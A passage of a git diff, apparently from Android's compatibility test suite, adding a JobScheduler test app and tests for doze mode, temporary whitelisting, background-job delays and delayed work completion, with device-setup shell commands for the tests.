+        String cmd = "settings put global alarm_manager_constants min_interval="
+                + MIN_REPEATING_INTERVAL;
+        mUiDevice.executeShellCommand(cmd);
+    }
+
+    private void deleteAlarmManagerConstants() throws IOException {
+        mUiDevice.executeShellCommand("settings delete global alarm_manager_constants");
+    }
+
+    private void setAppOpsMode(String mode) throws IOException {
+        StringBuilder commandBuilder = new StringBuilder("appops set ")
+                .append(TEST_APP_PACKAGE)
+                .append(" ")
+                .append(APP_OP_RUN_ANY_IN_BACKGROUND)
+                .append(" ")
+                .append(mode);
+        mUiDevice.executeShellCommand(commandBuilder.toString());
+    }
+
+    private void makeTestPackageIdle() throws IOException {
+        StringBuilder commandBuilder = new StringBuilder("am make-uid-idle --user current ")
+                .append(TEST_APP_PACKAGE);
+        mUiDevice.executeShellCommand(commandBuilder.toString());
+    }
+
+    private boolean waitForAlarms(int expectedAlarms, long timeout) throws InterruptedException {
+        final long deadLine = SystemClock.uptimeMillis() + timeout;
+        int alarmCount;
+        do {
+            Thread.sleep(POLL_INTERVAL);
+            synchronized (mLock) {
+                alarmCount = mAlarmCount;
+            }
+        } while (alarmCount < expectedAlarms && SystemClock.uptimeMillis() < deadLine);
+        return alarmCount >= expectedAlarms;
+    }
+}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index e58a494..be74d32 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,9 +22,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
@@ -32,7 +33,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index e433252..4c9625d 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -43,8 +43,5 @@
         android:name="android.support.test.runner.AndroidJUnitRunner"
         android:label="JobScheduler device-side tests"
         android:targetPackage="android.jobscheduler.cts" >
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
 </manifest>
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index 855ad48..49f05b9 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -20,6 +20,7 @@
         <option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
         <option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
         <option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
+        <option name="test-file-name" value="CtsJobTestApp.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.jobscheduler.cts" />
diff --git a/tests/JobScheduler/JobTestApp/Android.mk b/tests/JobScheduler/JobTestApp/Android.mk
new file mode 100644
index 0000000..f7b7a1d
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsJobTestApp
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/JobTestApp/AndroidManifest.xml b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..866c5d4
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.jobscheduler.cts.jobtestapp">
+
+    <!-- This application schedules jobs independently of the test instrumentation to make
+    it possible to test behaviour for different app states, whitelists and device idle modes -->
+    <application>
+        <service android:name=".TestJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" />
+        <activity android:name=".TestActivity"
+                  android:exported="true" />
+        <receiver android:name=".TestJobSchedulerReceiver"
+                  android:exported="true" />
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
new file mode 100644
index 0000000..0368f05
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+
+/**
+ * Just a dummy activity to keep the test app process in the foreground state when desired.
+ */
+public class TestActivity extends Activity {
+    private static final String TAG = TestActivity.class.getSimpleName();
+    private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+    private static final long DEFAULT_WAIT_DURATION = 30_000;
+
+    static final int FINISH_ACTIVITY_MSG = 1;
+    public static final String ACTION_FINISH_ACTIVITY = PACKAGE_NAME + ".action.FINISH_ACTIVITY";
+
+    Handler mFinishHandler = new Handler() {
+        @Override
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case FINISH_ACTIVITY_MSG:
+                    Log.d(TAG, "Finishing test activity: " + TestActivity.class.getCanonicalName());
+                    unregisterReceiver(mFinishReceiver);
+                    finish();
+            }
+        }
+    };
+
+    final BroadcastReceiver mFinishReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mFinishHandler.removeMessages(FINISH_ACTIVITY_MSG);
+            mFinishHandler.sendEmptyMessage(FINISH_ACTIVITY_MSG);
+        }
+    };
+
+    @Override
+    public void onCreate(Bundle savedInstance) {
+        Log.d(TAG, "Started test activity: " + TestActivity.class.getCanonicalName());
+        super.onCreate(savedInstance);
+        // automatically finish after 30 seconds.
+        mFinishHandler.sendEmptyMessageDelayed(FINISH_ACTIVITY_MSG, DEFAULT_WAIT_DURATION);
+        registerReceiver(mFinishReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
+    }
+}
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
new file mode 100644
index 0000000..97e8d74
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Schedules jobs for this package but does not, by itself, occupy a foreground uid state
+ * while doing so.
+ */
+public class TestJobSchedulerReceiver extends BroadcastReceiver {
+    private static final String TAG = TestJobSchedulerReceiver.class.getSimpleName();
+    private static final String PACKAGE_NAME = "com.android.servicestests.apps.jobtestapp";
+
+    public static final String EXTRA_JOB_ID_KEY = PACKAGE_NAME + ".extra.JOB_ID";
+    public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
+    public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
+    public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
+    public static final int JOB_INITIAL_BACKOFF = 10_000;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final ComponentName jobServiceComponent = new ComponentName(context, TestJobService.class);
+        final JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        switch (intent.getAction()) {
+            case ACTION_CANCEL_JOBS:
+                jobScheduler.cancelAll();
+                Log.d(TAG, "Cancelled all jobs for " + context.getPackageName());
+                break;
+            case ACTION_SCHEDULE_JOB:
+                final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
+                final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
+                JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
+                        .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
+                        .setOverrideDeadline(0)
+                        .setImportantWhileForeground(allowInIdle);
+                final int result = jobScheduler.schedule(jobBuilder.build());
+                if (result != JobScheduler.RESULT_SUCCESS) {
+                    Log.e(TAG, "Could not schedule job " + jobId);
+                } else {
+                    Log.d(TAG, "Successfully scheduled job with id " + jobId);
+                }
+                break;
+            default:
+                Log.e(TAG, "Unknown action " + intent.getAction());
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
new file mode 100644
index 0000000..55031c3
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestJobService extends JobService {
+    private static final String TAG = TestJobService.class.getSimpleName();
+    private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+    public static final String ACTION_JOB_STARTED = PACKAGE_NAME + ".action.JOB_STARTED";
+    public static final String ACTION_JOB_STOPPED = PACKAGE_NAME + ".action.JOB_STOPPED";
+    public static final String JOB_PARAMS_EXTRA_KEY = PACKAGE_NAME + ".extra.JOB_PARAMETERS";
+
+    @Override
+    public boolean onStartJob(JobParameters params) {
+        Log.i(TAG, "Test job executing: " + params.getJobId());
+        final Intent reportJobStartIntent = new Intent(ACTION_JOB_STARTED);
+        reportJobStartIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+        sendBroadcast(reportJobStartIntent);
+        return true;
+    }
+
+    @Override
+    public boolean onStopJob(JobParameters params) {
+        Log.i(TAG, "Test job stopped executing: " + params.getJobId());
+        final Intent reportJobStopIntent = new Intent(ACTION_JOB_STOPPED);
+        reportJobStopIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+        sendBroadcast(reportJobStopIntent);
+        return true;
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 94aee20..964853c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -52,6 +52,8 @@
 
     ArrayList<JobWorkItem> mReceivedWork = new ArrayList<>();
 
+    ArrayList<JobWorkItem> mPendingCompletions = new ArrayList<>();
+
     private boolean mWaitingForStop;
 
     @Override
@@ -104,6 +106,8 @@
                 Log.i(TAG, "Received work #" + index + ": " + work.getIntent());
                 mReceivedWork.add(work);
 
+                int flags = 0;
+
                 if (index < expectedWork.length) {
                     TestWorkItem expected = expectedWork[index];
                     int grantFlags = work.getIntent().getFlags();
@@ -170,15 +174,33 @@
                         }
                     }
 
-                    if ((expected.flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
+                    flags = expected.flags;
+
+                    if ((flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
                         Log.i(TAG, "Now waiting to stop");
                         mWaitingForStop = true;
                         TestEnvironment.getTestEnvironment().notifyWaitingForStop();
                         return true;
                     }
+
+                    if ((flags & TestWorkItem.FLAG_COMPLETE_NEXT) != 0) {
+                        if (!processNextPendingCompletion()) {
+                            TestEnvironment.getTestEnvironment().notifyExecution(params,
+                                    0, 0, null,
+                                    "Expected to complete next pending work but there was none: "
+                                            + " @ #" + index);
+                            return false;
+                        }
+                    }
                 }
 
-                mParams.completeWork(work);
+                if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) != 0) {
+                    mPendingCompletions.add(work);
+                } else if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) != 0) {
+                    mPendingCompletions.add(0, work);
+                } else {
+                    mParams.completeWork(work);
+                }
 
                 if (index < expectedWork.length) {
                     TestWorkItem expected = expectedWork[index];
@@ -195,6 +217,20 @@
 
                 index++;
             }
+
+            if (processNextPendingCompletion()) {
+                // We had some pending completions, clean them all out...
+                while (processNextPendingCompletion()) {
+                }
+                // ...and we need to do a final dequeue to complete the job, which should not
+                // return any remaining work.
+                if ((work = params.dequeueWork()) != null) {
+                    TestEnvironment.getTestEnvironment().notifyExecution(params,
+                            0, 0, null,
+                            "Expected no remaining work after dequeue pending, but got: " + work);
+                }
+            }
+
             Log.i(TAG, "Done with all work at #" + index);
             // We don't notifyExecution here because we want to make sure the job properly
             // stops itself.
@@ -219,6 +255,16 @@
         }
     }
 
+    boolean processNextPendingCompletion() {
+        if (mPendingCompletions.size() <= 0) {
+            return false;
+        }
+
+        JobWorkItem next = mPendingCompletions.remove(0);
+        mParams.completeWork(next);
+        return true;
+    }
+
     @Override
     public boolean onStopJob(JobParameters params) {
         Log.i(TAG, "Received stop callback");
@@ -227,7 +273,24 @@
     }
 
     public static final class TestWorkItem {
+        /**
+         * Stop processing work for now, waiting for the service to be stopped.
+         */
         public static final int FLAG_WAIT_FOR_STOP = 1<<0;
+        /**
+         * Don't complete this work now, instead push it on the back of the stack of
+         * pending completions.
+         */
+        public static final int FLAG_DELAY_COMPLETE_PUSH_BACK = 1<<1;
+        /**
+         * Don't complete this work now, instead insert to the top of the stack of
+         * pending completions.
+         */
+        public static final int FLAG_DELAY_COMPLETE_PUSH_TOP = 1<<2;
+        /**
+         * Complete next pending completion on the stack before completing this one.
+         */
+        public static final int FLAG_COMPLETE_NEXT = 1<<3;
 
         public final Intent intent;
         public final JobInfo jobInfo;
@@ -247,6 +310,16 @@
             requireUrisNotGranted = null;
         }
 
+        public TestWorkItem(Intent _intent, int _flags) {
+            intent = _intent;
+            jobInfo = null;
+            flags = _flags;
+            deliveryCount = 1;
+            subitems = null;
+            requireUrisGranted = null;
+            requireUrisNotGranted = null;
+        }
+
         public TestWorkItem(Intent _intent, int _flags, int _deliveryCount) {
             intent = _intent;
             jobInfo = null;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index 65cd02b..e28675d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -28,6 +28,7 @@
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
 import android.net.wifi.WifiManager;
+import android.os.BatteryManager;
 import android.os.SystemClock;
 import android.util.Log;
 
@@ -106,6 +107,10 @@
         boolean curNotLow = Boolean.parseBoolean(SystemUtil.runShellCommand(getInstrumentation(),
                 "cmd jobscheduler get-battery-not-low").trim());
         assertEquals(notLow, curNotLow);
+        IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
+        Intent batteryState = getContext().registerReceiver(null, filter);
+        assertEquals(notLow,
+                !batteryState.getBooleanExtra(BatteryManager.EXTRA_BATTERY_LOW, notLow));
     }
 
     String getJobState() throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
new file mode 100644
index 0000000..0918a3b
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -0,0 +1,281 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts;
+
+import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STARTED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STOPPED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_PARAMS_EXTRA_KEY;
+import static android.os.PowerManager.ACTION_DEVICE_IDLE_MODE_CHANGED;
+import static android.os.PowerManager.ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.job.JobParameters;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.jobscheduler.cts.jobtestapp.TestActivity;
+import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that temp whitelisted apps can run jobs if all the other constraints are met
+ */
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class DeviceIdleJobsTest {
+    private static final String TAG = DeviceIdleJobsTest.class.getSimpleName();
+    private static final String TEST_APP_PACKAGE = "android.jobscheduler.cts.jobtestapp";
+    private static final String TEST_APP_RECEIVER = TEST_APP_PACKAGE + ".TestJobSchedulerReceiver";
+    private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".TestActivity";
+    private static final long BACKGROUND_JOBS_EXPECTED_DELAY = 3_000;
+    private static final long POLL_INTERVAL = 500;
+    private static final long DEFAULT_WAIT_TIMEOUT = 1000;
+
+    private Context mContext;
+    private UiDevice mUiDevice;
+    private PowerManager mPowerManager;
+    private long mTempWhitelistExpiryElapsed;
+    private int mTestJobId;
+    private int mTestPackageUid;
+    private boolean mDeviceInDoze;
+    /* accesses must be synchronized on itself */
+    private final TestJobStatus mTestJobStatus = new TestJobStatus();
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.d(TAG, "Received action " + intent.getAction());
+            switch (intent.getAction()) {
+                case ACTION_JOB_STARTED:
+                case ACTION_JOB_STOPPED:
+                    final JobParameters params = intent.getParcelableExtra(JOB_PARAMS_EXTRA_KEY);
+                    Log.d(TAG, "JobId: " + params.getJobId());
+                    synchronized (mTestJobStatus) {
+                        mTestJobStatus.running = ACTION_JOB_STARTED.equals(intent.getAction());
+                        mTestJobStatus.jobId = params.getJobId();
+                    }
+                    break;
+                case ACTION_DEVICE_IDLE_MODE_CHANGED:
+                case ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED:
+                    synchronized (DeviceIdleJobsTest.this) {
+                        mDeviceInDoze = mPowerManager.isDeviceIdleMode();
+                        Log.d(TAG, "mDeviceInDoze: " + mDeviceInDoze);
+                    }
+                    break;
+            }
+        }
+    };
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mPowerManager = mContext.getSystemService(PowerManager.class);
+        mDeviceInDoze = mPowerManager.isDeviceIdleMode();
+        mTestPackageUid = mContext.getPackageManager().getPackageUid(TEST_APP_PACKAGE, 0);
+        mTestJobId = (int) (SystemClock.uptimeMillis() / 1000);
+        mTestJobStatus.reset();
+        mTempWhitelistExpiryElapsed = -1;
+        final IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(ACTION_JOB_STARTED);
+        intentFilter.addAction(ACTION_JOB_STOPPED);
+        intentFilter.addAction(ACTION_DEVICE_IDLE_MODE_CHANGED);
+        intentFilter.addAction(ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED);
+        mContext.registerReceiver(mReceiver, intentFilter);
+        assertFalse("Test package already in temp whitelist", isTestAppTempWhitelisted());
+        makeTestPackageIdle();
+        makeTestPackageStandbyActive();
+    }
+
+
+    @Test
+    public void testAllowWhileIdleJobInForeground() throws Exception {
+        toggleDeviceIdleState(true);
+        sendScheduleJobBroadcast(true);
+        assertFalse("Job started while in background", awaitJobStart(5_000));
+        startAndKeepTestActivity();
+        assertTrue("Job with allow_while_idle flag did not start when the app was in fg",
+                awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testAllowWhileIdleJobInTempwhitelist() throws Exception {
+        toggleDeviceIdleState(true);
+        Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+        sendScheduleJobBroadcast(true);
+        assertFalse("Job started without being tempwhitelisted", awaitJobStart(5_000));
+        tempWhitelistTestApp(5_000);
+        assertTrue("Job with allow_while_idle flag did not start when the app was tempwhitelisted",
+                awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testForegroundJobsStartImmediately() throws Exception {
+        sendScheduleJobBroadcast(false);
+        assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        toggleDeviceIdleState(true);
+        assertTrue("Job did not stop on entering doze", awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+        startAndKeepTestActivity();
+        toggleDeviceIdleState(false);
+        assertTrue("Job for foreground app did not start immediately when device exited doze",
+                awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testBackgroundJobsDelayed() throws Exception {
+        sendScheduleJobBroadcast(false);
+        assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        toggleDeviceIdleState(true);
+        assertTrue("Job did not stop on entering doze", awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+        toggleDeviceIdleState(false);
+        assertFalse("Job for background app started immediately when device exited doze",
+                awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        Thread.sleep(BACKGROUND_JOBS_EXPECTED_DELAY - DEFAULT_WAIT_TIMEOUT);
+        assertTrue("Job for background app did not start after the expected delay of "
+                + BACKGROUND_JOBS_EXPECTED_DELAY + "ms", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        toggleDeviceIdleState(false);
+        final Intent cancelJobsIntent = new Intent(TestJobSchedulerReceiver.ACTION_CANCEL_JOBS);
+        cancelJobsIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+        cancelJobsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.sendBroadcast(cancelJobsIntent);
+        mContext.sendBroadcast(new Intent(TestActivity.ACTION_FINISH_ACTIVITY));
+        mContext.unregisterReceiver(mReceiver);
+        Thread.sleep(500); // To avoid any race between unregister and the next register in setUp
+        waitUntilTestAppNotInTempWhitelist();
+    }
+
+    private boolean isTestAppTempWhitelisted() throws Exception {
+        final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
+        for (String line : output.split("\n")) {
+            if (line.contains("UID="+mTestPackageUid)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void startAndKeepTestActivity() {
+        final Intent testActivity = new Intent();
+        testActivity.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        testActivity.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY));
+        mContext.startActivity(testActivity);
+    }
+
+    private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
+        final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
+        scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mTestJobId);
+        scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
+        scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+        mContext.sendBroadcast(scheduleJobIntent);
+    }
+
+    private void toggleDeviceIdleState(final boolean idle) throws Exception {
+        mUiDevice.executeShellCommand("cmd deviceidle " + (idle ? "force-idle" : "unforce"));
+        assertTrue("Could not change device idle state to " + idle,
+                waitUntilTrue(DEFAULT_WAIT_TIMEOUT, () -> {
+                    synchronized (DeviceIdleJobsTest.this) {
+                        return mDeviceInDoze == idle;
+                    }
+                }));
+    }
+
+    private void tempWhitelistTestApp(long duration) throws Exception {
+        mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist -d " + duration
+                + " " + TEST_APP_PACKAGE);
+        mTempWhitelistExpiryElapsed = SystemClock.elapsedRealtime() + duration;
+    }
+
+    private void makeTestPackageIdle() throws Exception {
+        mUiDevice.executeShellCommand("am make-uid-idle --user current " + TEST_APP_PACKAGE);
+    }
+
+    private void makeTestPackageStandbyActive() throws Exception {
+        mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " active");
+    }
+
+    private boolean waitUntilTestAppNotInTempWhitelist() throws Exception {
+        long now;
+        boolean interrupted = false;
+        while ((now = SystemClock.elapsedRealtime()) < mTempWhitelistExpiryElapsed) {
+            try {
+                Thread.sleep(mTempWhitelistExpiryElapsed - now);
+            } catch (InterruptedException iexc) {
+                interrupted = true;
+            }
+        }
+        if (interrupted) {
+            Thread.currentThread().interrupt();
+        }
+        return waitUntilTrue(DEFAULT_WAIT_TIMEOUT, () -> !isTestAppTempWhitelisted());
+    }
+
+    private boolean awaitJobStart(long maxWait) throws Exception {
+        return waitUntilTrue(maxWait, () -> {
+            synchronized (mTestJobStatus) {
+                return (mTestJobStatus.jobId == mTestJobId) && mTestJobStatus.running;
+            }
+        });
+    }
+
+    private boolean awaitJobStop(long maxWait) throws Exception {
+        return waitUntilTrue(maxWait, () -> {
+            synchronized (mTestJobStatus) {
+                return (mTestJobStatus.jobId == mTestJobId) && !mTestJobStatus.running;
+            }
+        });
+    }
+
